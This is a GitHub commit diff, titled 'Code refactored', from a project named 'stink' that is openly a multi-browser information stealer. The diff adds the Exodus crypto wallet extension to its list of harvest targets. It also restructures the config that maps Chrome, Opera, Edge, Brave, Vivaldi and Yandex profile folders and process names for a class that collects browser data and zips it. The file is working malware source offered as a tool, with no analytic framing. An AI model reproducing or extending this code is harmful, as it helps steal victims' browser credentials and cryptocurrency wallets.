Code refactored

FallenAstaroth · Oct 22, 2023 · 0f38f9e · 0f38f9e
1 parent 63c218c
commit 0f38f9e
Show file tree

Hide file tree

Showing 3 changed files with 50 additions and 65 deletions.
diff --git a/stink/helpers/config.py b/stink/helpers/config.py
@@ -55,57 +55,49 @@ class ChromiumConfig:
         {
             "name": "Trust",
             "folders": ["egjidjbpglichdcondbcbdnbeeppgdph"]
+        },
+        {
+            "name": "Exodus",
+            "folders": ["aholpfdialjgjfhomihkjbmgjidlcdno"]
         }
     ]
 
 
 class MultistealerConfig:
 
     PoolSize = 5
-
     ZipName = f"{user}-st"
 
-    ChromePaths = (
-        rf"{user_profile}\AppData\Local\Google\Chrome\User Data\Local State",
-        rf"{user_profile}\AppData\Local\Google\Chrome\User Data",
-        "chrome.exe"
-    )
-
-    OperaGXPaths = (
-        rf"{user_profile}\AppData\Roaming\Opera Software\Opera GX Stable\Local State",
-        rf"{user_profile}\AppData\Roaming\Opera Software\Opera GX Stable",
-        "opera.exe"
-    )
-
-    OperaDefaultPaths = (
-        rf"{user_profile}\AppData\Roaming\Opera Software\Opera Stable\Local State",
-        rf"{user_profile}\AppData\Roaming\Opera Software\Opera Stable",
-        "opera.exe"
-    )
-
-    MicrosoftEdgePaths = (
-        rf"{user_profile}\AppData\Local\Microsoft\Edge\User Data\Local State",
-        rf"{user_profile}\AppData\Local\Microsoft\Edge\User Data",
-        "msedge.exe"
-    )
-
-    BravePaths = (
-        rf"{user_profile}\AppData\Local\BraveSoftware\Brave-Browser\User Data\Local State",
-        rf"{user_profile}\AppData\Local\BraveSoftware\Brave-Browser\User Data",
-        "brave.exe"
-    )
-
-    VivaldiPaths = (
-        rf"{user_profile}\AppData\Local\Vivaldi\User Data\Local State",
-        rf"{user_profile}\AppData\Local\Vivaldi\User Data",
-        "vivaldi.exe"
-    )
-
-    YandexPaths = (
-        rf"{user_profile}\AppData\Local\Yandex\YandexBrowser\User Data\Local State",
-        rf"{user_profile}\AppData\Local\Yandex\YandexBrowser\User Data",
-        "browser.exe"
-    )
+    BrowsersData = {
+        Browsers.CHROME: {
+            "path": rf"{user_profile}\AppData\Local\Google\Chrome\User Data",
+            "process": "chrome.exe"
+        },
+        Browsers.OPERA_GX: {
+            "path": rf"{user_profile}\AppData\Roaming\Opera Software\Opera GX Stable",
+            "process": "opera.exe"
+        },
+        Browsers.OPERA_DEFAULT: {
+            "path": rf"{user_profile}\AppData\Roaming\Opera Software\Opera Stable",
+            "process": "opera.exe"
+        },
+        Browsers.EDGE: {
+            "path": rf"{user_profile}\AppData\Local\Microsoft\Edge\User Data",
+            "process": "msedge.exe"
+        },
+        Browsers.BRAVE: {
+            "path": rf"{user_profile}\AppData\Local\BraveSoftware\Brave-Browser\User Data",
+            "process": "brave.exe"
+        },
+        Browsers.VIVALDI: {
+            "path": rf"{user_profile}\AppData\Local\Vivaldi\User Data",
+            "process": "vivaldi.exe"
+        },
+        Browsers.YANDEX: {
+            "path": rf"{user_profile}\AppData\Local\Yandex\YandexBrowser\User Data",
+            "process": "browser.exe"
+        },
+    }
 
 
 class SystemConfig:

diff --git a/stink/modules/browsers.py b/stink/modules/browsers.py
@@ -16,10 +16,10 @@ class Chromium:
     """
     Collects data from the browser.
     """
-    def __init__(self, browser_name: str, state_path: str, browser_path: str, process_name: str, statuses: List):
+    def __init__(self, browser_name: str, browser_path: str, process_name: str, statuses: List):
 
         self.__browser_name = browser_name
-        self.__state_path = state_path
+        self.__state_path = path.join(browser_path, "Local State")
         self.__browser_path = browser_path
         self.__process_name = process_name
         self.__statuses = statuses

diff --git a/stink/multistealer.py b/stink/multistealer.py
@@ -52,9 +52,8 @@ def __init__(self, senders: List = None, features: List = None, utils: List = No
                 "object": Chromium,
                 "arguments": (
                     Browsers.CHROME.value,
-                    self.__config.ChromePaths[0],
-                    self.__config.ChromePaths[1],
-                    self.__config.ChromePaths[2],
+                    self.__config.BrowsersData[Browsers.CHROME]["path"],
+                    self.__config.BrowsersData[Browsers.CHROME]["process"],
                     browser_functions
                 ),
                 "status": browser_statuses
@@ -63,9 +62,8 @@ def __init__(self, senders: List = None, features: List = None, utils: List = No
                 "object": Chromium,
                 "arguments": (
                     Browsers.OPERA_GX.value,
-                    self.__config.OperaGXPaths[0],
-                    self.__config.OperaGXPaths[1],
-                    self.__config.OperaGXPaths[2],
+                    self.__config.BrowsersData[Browsers.OPERA_GX]["path"],
+                    self.__config.BrowsersData[Browsers.OPERA_GX]["process"],
                     browser_functions
                 ),
                 "status": browser_statuses
@@ -74,9 +72,8 @@ def __init__(self, senders: List = None, features: List = None, utils: List = No
                 "object": Chromium,
                 "arguments": (
                     Browsers.OPERA_DEFAULT.value,
-                    self.__config.OperaDefaultPaths[0],
-                    self.__config.OperaDefaultPaths[1],
-                    self.__config.OperaDefaultPaths[2],
+                    self.__config.BrowsersData[Browsers.OPERA_DEFAULT]["path"],
+                    self.__config.BrowsersData[Browsers.OPERA_DEFAULT]["process"],
                     browser_functions
                 ),
                 "status": browser_statuses
@@ -85,9 +82,8 @@ def __init__(self, senders: List = None, features: List = None, utils: List = No
                 "object": Chromium,
                 "arguments": (
                     Browsers.EDGE.value,
-                    self.__config.MicrosoftEdgePaths[0],
-                    self.__config.MicrosoftEdgePaths[1],
-                    self.__config.MicrosoftEdgePaths[2],
+                    self.__config.BrowsersData[Browsers.EDGE]["path"],
+                    self.__config.BrowsersData[Browsers.EDGE]["process"],
                     browser_functions
                 ),
                 "status": browser_statuses
@@ -96,9 +92,8 @@ def __init__(self, senders: List = None, features: List = None, utils: List = No
                 "object": Chromium,
                 "arguments": (
                     Browsers.BRAVE.value,
-                    self.__config.BravePaths[0],
-                    self.__config.BravePaths[1],
-                    self.__config.BravePaths[2],
+                    self.__config.BrowsersData[Browsers.BRAVE]["path"],
+                    self.__config.BrowsersData[Browsers.BRAVE]["process"],
                     browser_functions
                 ),
                 "status": browser_statuses
@@ -107,9 +102,8 @@ def __init__(self, senders: List = None, features: List = None, utils: List = No
                 "object": Chromium,
                 "arguments": (
                     Browsers.VIVALDI.value,
-                    self.__config.VivaldiPaths[0],
-                    self.__config.VivaldiPaths[1],
-                    self.__config.VivaldiPaths[2],
+                    self.__config.BrowsersData[Browsers.VIVALDI]["path"],
+                    self.__config.BrowsersData[Browsers.VIVALDI]["process"],
                     browser_functions
                 ),
                 "status": browser_statuses
@@ -118,9 +112,8 @@ def __init__(self, senders: List = None, features: List = None, utils: List = No
                 "object": Chromium,
                 "arguments": (
                     Browsers.YANDEX.value,
-                    self.__config.YandexPaths[0],
-                    self.__config.YandexPaths[1],
-                    self.__config.YandexPaths[2],
+                    self.__config.BrowsersData[Browsers.YANDEX]["path"],
+                    self.__config.BrowsersData[Browsers.YANDEX]["process"],
                     browser_functions
                 ),
                 "status": browser_statuses